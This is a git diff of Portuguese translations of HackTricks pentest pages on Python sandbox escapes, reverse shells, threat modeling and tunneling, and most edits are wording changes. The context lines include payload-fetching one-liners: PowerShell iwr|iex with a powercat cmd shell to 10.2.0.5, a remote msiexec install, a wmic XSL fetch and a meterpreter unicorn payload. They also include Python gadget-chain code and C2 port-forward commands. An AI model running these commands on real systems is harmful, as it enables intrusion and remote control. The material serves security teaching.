['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
@ -561,7 +553,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
## Pesquisa Recursiva de Builtins, Globals...
{% hint style="warning" %}
Isso é simplesmente **incrível**. Se você está **procurando por um objeto como globals, builtins, open ou qualquer outra coisa**, basta usar este script para **encontrar recursivamente lugares onde você pode encontrar esse objeto.**
Isso é simplesmente **incrível**. Se você está **procurando um objeto como globals, builtins, open ou qualquer coisa** basta usar este script para **encontrar recursivamente lugares onde você pode encontrar esse objeto.**
{% endhint %}
```python
import os, sys # Import these to find more gadgets
@ -711,7 +703,7 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
Note como você pode **acessar atributos** de uma maneira normal com um **ponto** como `people_obj.__init__` e **elemento de dicionário** com **parênteses** sem aspas `__globals__[CONFIG]`
Note como você pode **acessar atributos** de uma maneira normal com um **ponto** como `people_obj.__init__` e **elemento do dicionário** com **parênteses** sem aspas `__globals__[CONFIG]`
Também note que você pode usar `.__dict__` para enumerar elementos de um objeto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
@ -734,7 +726,7 @@ return 'HAL 9000'
**Mais exemplos** sobre **exemplos** de **string** **format** podem ser encontrados em [**https://pyformat.info/**](https://pyformat.info)
{% hint style="danger" %}
Verifique também a seguinte página para gadgets que irão r**evelar informações sensíveis de objetos internos do Python**:
Verifique também a seguinte página para gadgets que irão r**ealizar a leitura de informações sensíveis de objetos internos do Python**:
{% endhint %}
{% content-ref url="../python-internal-read-gadgets.md" %}
@ -789,7 +781,7 @@ get_flag.__globals__
#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__
```
[**Veja aqui mais lugares para obter globais**](./#globals-and-locals)
[**Veja aqui mais lugares para obter globals**](./#globals-and-locals)
### **Acessando o código da função**
@ -921,7 +913,7 @@ return "Nope"
```
### Criando o objeto de código
Primeiramente, precisamos saber **como criar e executar um objeto de código** para que possamos criar um para executar nossa função leak:
Primeiro de tudo, precisamos saber **como criar e executar um objeto de código** para que possamos criar um para executar nossa função leak:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -941,7 +933,7 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
{% hint style="info" %}
Dependendo da versão do python, os **parâmetros** de `code_type` podem ter uma **ordem diferente**. A melhor maneira de saber a ordem dos parâmetros na versão do python que você está executando é executar:
Dependendo da versão do python, os **parâmetros** de `code_type` podem ter uma **ordem diferente**. A melhor maneira de saber a ordem dos parâmetros na versão do python que você está executando é rodar:
```
import types
types.CodeType.__doc__
@ -966,7 +958,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### Bypass Defenses
Nos exemplos anteriores no início deste post, você pode ver **como executar qualquer código python usando a função `compile`**. Isso é interessante porque você pode **executar scripts inteiros** com loops e tudo em uma **linha única** (e poderíamos fazer o mesmo usando **`exec`**).\
Em exemplos anteriores no início deste post, você pode ver **como executar qualquer código python usando a função `compile`**. Isso é interessante porque você pode **executar scripts inteiros** com loops e tudo em uma **linha única** (e poderíamos fazer o mesmo usando **`exec`**).\
De qualquer forma, às vezes pode ser útil **criar** um **objeto compilado** em uma máquina local e executá-lo na **máquina CTF** (por exemplo, porque não temos a função `compiled` no CTF).
Por exemplo, vamos compilar e executar manualmente uma função que lê _./poc.py_:
@ -1039,11 +1031,6 @@ será contornado
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -1051,11 +1038,11 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
<details>
<summary>Support HackTricks</summary>
<summary>Suporte ao HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -15,14 +15,6 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
**Se você tiver perguntas sobre qualquer uma dessas shells, você pode verificá-las em** [**https://explainshell.com/**](https://explainshell.com)
## Full TTY
@ -107,7 +99,7 @@ Outra possibilidade consiste em usar a implementação de shell forward do `IppS
Você só precisa modificar:
* A URL do host vulnerável
* O prefixo e o sufixo do seu payload (se houver)
* O prefixo e sufixo do seu payload (se houver)
* A forma como o payload é enviado (cabeçalhos? dados? informações extras?)
Então, você pode apenas **enviar comandos** ou até mesmo **usar o comando `upgrade`** para obter um PTY completo (note que os pipes são lidos e escritos com um atraso aproximado de 1,3s).
@ -340,19 +332,13 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Suporte ao HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -1,31 +1,23 @@
# Shells - Windows
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Lolbas
A página [lolbas-project.github.io](https://lolbas-project.github.io/) é para Windows como [https://gtfobins.github.io/](https://gtfobins.github.io/) é para linux.\
A página [lolbas-project.github.io](https://lolbas-project.github.io/) é para Windows como [https://gtfobins.github.io/](https://gtfobins.github.io/) é para Linux.\
Obviamente, **não existem arquivos SUID ou privilégios sudo no Windows**, mas é útil saber **como** alguns **binários** podem ser (ab)usados para realizar algum tipo de ações inesperadas, como **executar código arbitrário.**
## NC
@ -334,7 +326,7 @@ victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
```bash
wmic os get /format:"https://webserver/payload.xsl"
```
Exemplo de arquivo xsl [daqui](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
Exemplo de arquivo xsl [a partir daqui](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
```xml
<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
@ -444,7 +436,7 @@ powercat -l -p 443 -i C:\inputfile -rep
[https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)
Crie um lançador do powershell, salve-o em um arquivo e faça o download e execute-o.
Crie um lançador de powershell, salve-o em um arquivo e faça o download e execute-o.
```
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
@ -454,7 +446,7 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
Crie uma versão em powershell do backdoor do metasploit usando unicorn
Crie uma versão em powershell do backdoor do metasploit usando o unicorn
```
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
```
@ -483,12 +475,7 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) console PS com alguns módulos
* [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -1,62 +1,48 @@
# Modelagem de Ameaças
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares de roubo**.
O principal objetivo do WhiteIntel é combater a apropriação de contas e ataques de ransomware resultantes de malwares que roubam informações.
Você pode acessar o site deles e experimentar o mecanismo gratuitamente em:
{% embed url="https://whiteintel.io" %}
***
## Modelagem de Ameaças
Bem-vindo ao guia abrangente da HackTricks sobre Modelagem de Ameaças! Embarque em uma exploração deste aspecto crítico da cibersegurança, onde identificamos, entendemos e elaboramos estratégias contra vulnerabilidades potenciais em um sistema. Este guia serve como um passo a passo repleto de exemplos do mundo real, software útil e explicações fáceis de entender. Ideal tanto para iniciantes quanto para profissionais experientes que buscam fortalecer suas defesas de cibersegurança.
Bem-vindo ao guia abrangente da HackTricks sobre Modelagem de Ameaças! Embarque em uma exploração deste aspecto crítico da cibersegurança, onde identificamos, entendemos e planejamos contra vulnerabilidades potenciais em um sistema. Este tópico serve como um guia passo a passo repleto de exemplos do mundo real, softwares úteis e explicações fáceis de entender. Ideal tanto para novatos quanto para profissionais experientes que buscam fortalecer suas defesas de cibersegurança.
### Cenários Comumente Utilizados
### Cenários Comumente Usados
1. **Desenvolvimento de Software**: Como parte do Ciclo de Vida de Desenvolvimento de Software Seguro (SSDLC), a modelagem de ameaças ajuda na **identificação de possíveis fontes de vulnerabilidades** nas fases iniciais do desenvolvimento.
2. **Teste de Penetração**: O framework Padrão de Execução de Teste de Penetração (PTES) requer a **modelagem de ameaças para entender as vulnerabilidades do sistema** antes de realizar o teste.
1. **Desenvolvimento de Software**: Como parte do Ciclo de Vida de Desenvolvimento de Software Seguro (SSDLC), a modelagem de ameaças ajuda na **identificação de fontes potenciais de vulnerabilidades** nas fases iniciais de desenvolvimento.
2. **Teste de Penetração**: O padrão de execução de teste de penetração (PTES) exige **modelagem de ameaças para entender as vulnerabilidades do sistema** antes de realizar o teste.
### Modelo de Ameaças em Poucas Palavras
### Modelo de Ameaça em Resumo
Um Modelo de Ameaças é tipicamente representado como um diagrama, imagem ou outra forma de ilustração visual que mostra a arquitetura planejada ou a construção existente de um aplicativo. Ele se assemelha a um **diagrama de fluxo de dados**, mas a distinção chave está em seu design orientado para a segurança.
Um Modelo de Ameaça é tipicamente representado como um diagrama, imagem ou alguma outra forma de ilustração visual que retrata a arquitetura planejada ou a construção existente de uma aplicação. Ele se assemelha a um **diagrama de fluxo de dados**, mas a principal distinção reside em seu design orientado à segurança.
Os modelos de ameaças frequentemente apresentam elementos marcados em vermelho, simbolizando vulnerabilidades, riscos ou barreiras potenciais. Para simplificar o processo de identificação de riscos, a tríade CIA (Confidencialidade, Integridade, Disponibilidade) é empregada, formando a base de muitas metodologias de modelagem de ameaças, sendo o STRIDE um dos mais comuns. No entanto, a metodologia escolhida pode variar dependendo do contexto e requisitos específicos.
Modelos de ameaças frequentemente apresentam elementos marcados em vermelho, simbolizando vulnerabilidades, riscos ou barreiras potenciais. Para simplificar o processo de identificação de riscos, emprega-se a tríade CIA (Confidencialidade, Integridade, Disponibilidade), que forma a base de muitas metodologias de modelagem de ameaças, sendo o STRIDE uma das mais comuns. No entanto, a metodologia escolhida pode variar dependendo do contexto e requisitos específicos.
### A Tríade CIA
A Tríade CIA é um modelo amplamente reconhecido no campo da segurança da informação, representando Confidencialidade, Integridade e Disponibilidade. Esses três pilares formam a base sobre a qual muitas medidas de segurança e políticas são construídas, incluindo metodologias de modelagem de ameaças.
A Tríade CIA é um modelo amplamente reconhecido no campo da segurança da informação, representando Confidencialidade, Integridade e Disponibilidade. Esses três pilares formam a base sobre a qual muitas medidas e políticas de segurança são construídas, incluindo metodologias de modelagem de ameaças.
1. **Confidencialidade**: Garantir que os dados ou sistema não sejam acessados por indivíduos não autorizados. Este é um aspecto central da segurança, exigindo controles de acesso apropriados, criptografia e outras medidas para evitar violações de dados.
2. **Integridade**: A precisão, consistência e confiabilidade dos dados ao longo de seu ciclo de vida. Este princípio garante que os dados não sejam alterados ou adulterados por partes não autorizadas. Muitas vezes envolve checksums, hashing e outros métodos de verificação de dados.
3. **Disponibilidade**: Isso garante que os dados e serviços sejam acessíveis aos usuários autorizados quando necessário. Isso frequentemente envolve redundância, tolerância a falhas e configurações de alta disponibilidade para manter os sistemas em funcionamento mesmo diante de interrupções.
1. **Confidencialidade**: Garantir que os dados ou sistemas não sejam acessados por indivíduos não autorizados. Este é um aspecto central da segurança, exigindo controles de acesso apropriados, criptografia e outras medidas para prevenir vazamentos de dados.
2. **Integridade**: A precisão, consistência e confiabilidade dos dados ao longo de seu ciclo de vida. Este princípio garante que os dados não sejam alterados ou manipulados por partes não autorizadas. Frequentemente envolve somas de verificação, hashing e outros métodos de verificação de dados.
3. **Disponibilidade**: Isso garante que dados e serviços estejam acessíveis a usuários autorizados quando necessário. Isso frequentemente envolve redundância, tolerância a falhas e configurações de alta disponibilidade para manter os sistemas em funcionamento mesmo diante de interrupções.
### Metodologias de Modelagem de Ameaças
1. **STRIDE**: Desenvolvido pela Microsoft, STRIDE é um acrônimo para **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service e Elevation of Privilege**. Cada categoria representa um tipo de ameaça, e essa metodologia é comumente usada na fase de design de um programa ou sistema para identificar ameaças potenciais.
2. **DREAD**: Esta é outra metodologia da Microsoft usada para avaliação de riscos de ameaças identificadas. DREAD significa **Damage potential, Reproducibility, Exploitability, Affected users e Discoverability**. Cada um desses fatores é pontuado, e o resultado é usado para priorizar as ameaças identificadas.
3. **PASTA** (Process for Attack Simulation and Threat Analysis): Esta é uma metodologia de sete etapas, centrada em **risco**. Inclui a definição e identificação de objetivos de segurança, criação de um escopo técnico, decomposição de aplicativos, análise de ameaças, análise de vulnerabilidades e avaliação de riscos/triagem.
4. **Trike**: Esta é uma metodologia baseada em risco que se concentra na defesa de ativos. Ela parte de uma perspectiva de **gestão de riscos** e analisa ameaças e vulnerabilidades nesse contexto.
5. **VAST** (Modelagem de Ameaças Visual, Ágil e Simples): Esta abordagem visa ser mais acessível e se integra a ambientes de desenvolvimento ágil. Ela combina elementos de outras metodologias e se concentra em **representações visuais de ameaças**.
6. **OCTAVE** (Avaliação de Ameaças, Ativos e Vulnerabilidades Operacionalmente Críticas): Desenvolvido pelo Centro de Coordenação CERT, este framework é direcionado para **avaliação de riscos organizacionais em vez de sistemas ou software específicos**.
1. **STRIDE**: Desenvolvido pela Microsoft, STRIDE é um acrônimo para **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege**. Cada categoria representa um tipo de ameaça, e essa metodologia é comumente usada na fase de design de um programa ou sistema para identificar ameaças potenciais.
2. **DREAD**: Esta é outra metodologia da Microsoft usada para avaliação de riscos de ameaças identificadas. DREAD significa **Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability**. Cada um desses fatores é pontuado, e o resultado é usado para priorizar as ameaças identificadas.
3. **PASTA** (Process for Attack Simulation and Threat Analysis): Esta é uma metodologia de sete etapas, **centrada em riscos**. Inclui a definição e identificação de objetivos de segurança, criação de um escopo técnico, decomposição da aplicação, análise de ameaças, análise de vulnerabilidades e avaliação de risco/triagem.
4. **Trike**: Esta é uma metodologia baseada em riscos que se concentra na defesa de ativos. Começa de uma perspectiva de **gestão de riscos** e analisa ameaças e vulnerabilidades nesse contexto.
5. **VAST** (Visual, Agile, and Simple Threat modeling): Esta abordagem visa ser mais acessível e se integra a ambientes de desenvolvimento ágil. Combina elementos de outras metodologias e foca em **representações visuais de ameaças**.
6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation): Desenvolvido pelo CERT Coordination Center, este framework é voltado para **avaliação de riscos organizacionais em vez de sistemas ou softwares específicos**.
## Ferramentas
Existem várias ferramentas e soluções de software disponíveis que podem **auxiliar** na criação e gerenciamento de modelos de ameaças. Aqui estão algumas que você pode considerar.
Existem várias ferramentas e soluções de software disponíveis que podem **ajudar** na criação e gestão de modelos de ameaças. Aqui estão algumas que você pode considerar.
### [SpiderSuite](https://github.com/3nock/SpiderSuite)
Uma avançada aranha/crawler web GUI multiplataforma para profissionais de segurança cibernética. O Spider Suite pode ser usado para mapeamento e análise da superfície de ataque.
Uma avançada GUI de múltiplas funcionalidades e plataforma cruzada para profissionais de cibersegurança. Spider Suite pode ser usado para mapeamento e análise da superfície de ataque.
**Uso**
1. Escolha um URL e Rastreie
1. Escolha uma URL e Rasteje
<figure><img src="../.gitbook/assets/threatmodel_spidersuite_1.png" alt=""><figcaption></figcaption></figure>
@ -66,43 +52,43 @@ Uma avançada aranha/crawler web GUI multiplataforma para profissionais de segur
### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases)
Um projeto de código aberto da OWASP, o Threat Dragon é tanto uma aplicação web quanto desktop que inclui diagramação de sistemas, bem como um mecanismo de regras para gerar automaticamente ameaças/mitigações.
Um projeto de código aberto da OWASP, Threat Dragon é tanto uma aplicação web quanto de desktop que inclui diagramação de sistemas, bem como um mecanismo de regras para gerar automaticamente ameaças/mitigações.
**Uso**
1. Criar Novo Projeto
1. Crie um Novo Projeto
<figure><img src="../.gitbook/assets/create_new_project_1.jpg" alt=""><figcaption></figcaption></figure>
Às vezes pode parecer assim:
Às vezes, pode parecer assim:
<figure><img src="../.gitbook/assets/1_threatmodel_create_project.jpg" alt=""><figcaption></figcaption></figure>
2. Iniciar Novo Projeto
2. Inicie um Novo Projeto
<figure><img src="../.gitbook/assets/launch_new_project_2.jpg" alt=""><figcaption></figcaption></figure>
3. Salvar o Novo Projeto
3. Salve o Novo Projeto
<figure><img src="../.gitbook/assets/save_new_project.jpg" alt=""><figcaption></figcaption></figure>
4. Criar seu modelo
4. Crie seu modelo
Você pode usar ferramentas como o SpiderSuite Crawler para se inspirar, um modelo básico se pareceria com isso
Você pode usar ferramentas como SpiderSuite Crawler para se inspirar, um modelo básico poderia parecer algo assim
<figure><img src="../.gitbook/assets/0_basic_threat_model.jpg" alt=""><figcaption></figcaption></figure>
Apenas um pouco de explicação sobre as entidades:
Apenas uma pequena explicação sobre as entidades:
* Processo (A própria entidade, como um Servidor Web ou funcionalidade web)
* Ator (Uma pessoa, como um Visitante do Site, Usuário ou Administrador)
* Processo (A entidade em si, como Servidor Web ou funcionalidade web)
* Ator (Uma Pessoa, como um Visitante do Site, Usuário ou Administrador)
* Linha de Fluxo de Dados (Indicador de Interação)
* Limite de Confiança (Diferentes segmentos de rede ou escopos.)
* Armazenar (Locais onde os dados são armazenados, como Bancos de Dados)
* Limite de Confiança (Diferentes segmentos ou escopos de rede.)
* Armazenar (Coisas onde os dados são armazenados, como Bancos de Dados)
5. Criar uma Ameaça (Passo 1)
5. Crie uma Ameaça (Passo 1)
Primeiro você deve escolher a camada à qual deseja adicionar uma ameaça
Primeiro, você deve escolher a camada à qual deseja adicionar uma ameaça
<figure><img src="../.gitbook/assets/3_threatmodel_chose-threat-layer.jpg" alt=""><figcaption></figcaption></figure>
@ -110,27 +96,16 @@ Agora você pode criar a ameaça
<figure><img src="../.gitbook/assets/4_threatmodel_create-threat.jpg" alt=""><figcaption></figcaption></figure>
Lembre-se de que há uma diferença entre Ameaças de Ator e Ameaças de Processo. Se você adicionar uma ameaça a um Ator, só poderá escolher "Spoofing" e "Repudiation". No entanto, em nosso exemplo, adicionamos uma ameaça a uma entidade de Processo, então veremos isso na caixa de criação de ameaças:
Lembre-se de que há uma diferença entre Ameaças de Ator e Ameaças de Processo. Se você adicionar uma ameaça a um Ator, então você só poderá escolher "Spoofing" e "Repudiation". No entanto, em nosso exemplo, adicionamos uma ameaça a uma entidade de Processo, então veremos isso na caixa de criação de ameaças:
<figure><img src="../.gitbook/assets/2_threatmodel_type-option.jpg" alt=""><figcaption></figcaption></figure>
6. Concluído
6. Pronto
Agora seu modelo finalizado deve se parecer com isso. E assim você cria um modelo de ameaças simples com o OWASP Threat Dragon.
Agora seu modelo finalizado deve parecer algo assim. E é assim que você faz um modelo de ameaça simples com o OWASP Threat Dragon.
<figure><img src="../.gitbook/assets/threat_model_finished.jpg" alt=""><figcaption></figcaption></figure>
### [Ferramenta de Modelagem de Ameaças da Microsoft](https://aka.ms/threatmodelingtool)
Esta é uma ferramenta gratuita da Microsoft que ajuda a encontrar ameaças na fase de design de projetos de software. Utiliza a metodologia STRIDE e é particularmente adequada para aqueles que desenvolvem na pilha da Microsoft.
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O objetivo principal do WhiteIntel é combater tomadas de conta e ataques de ransomware resultantes de malwares que roubam informações.
Você pode acessar o site deles e experimentar o mecanismo de busca de forma **gratuita** em:
{% embed url="https://whiteintel.io" %}
Esta é uma ferramenta gratuita da Microsoft que ajuda a encontrar ameaças na fase de design de projetos de software. Ela utiliza a metodologia STRIDE e é particularmente adequada para aqueles que desenvolvem na pilha da Microsoft.

View file

@ -15,14 +15,6 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Dica do Nmap
{% hint style="warning" %}
@ -167,7 +159,7 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
### rPort2Port
{% hint style="warning" %}
Neste caso, a **porta é aberta no host beacon**, não no Team Server, e o tráfego é enviado para o Team Server e, a partir daí, para o host:porta indicado.
Neste caso, a **porta é aberta no host beacon**, não no Servidor da Equipe, e o tráfego é enviado para o Servidor da Equipe e, a partir daí, para o host:porta indicado.
{% endhint %}
```bash
rportfwd [bind port] [forward host] [forward port]
@ -175,8 +167,8 @@ rportfwd stop [bind port]
```
Para notar:
- O **reverso port forward do Beacon** é projetado para **tunar o tráfego para o Servidor da Equipe, não para relatar entre máquinas individuais**.
- O tráfego é **tunelado dentro do tráfego C2 do Beacon**, incluindo links P2P.
- O **reverso port forward do Beacon** é projetado para **túnel de tráfego para o Servidor da Equipe, não para retransmissão entre máquinas individuais**.
- O tráfego é **tuneado dentro do tráfego C2 do Beacon**, incluindo links P2P.
- **Privilégios de administrador não são necessários** para criar reversos port forwards em portas altas.
### rPort2Port local
@ -210,7 +202,7 @@ Você precisa usar a **mesma versão para cliente e servidor**
./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
./chisel client -v 10.10.10.10:8080 socks #Attacker
```
### Encaminhamento de portas
### Encaminhamento de porta
```bash
./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
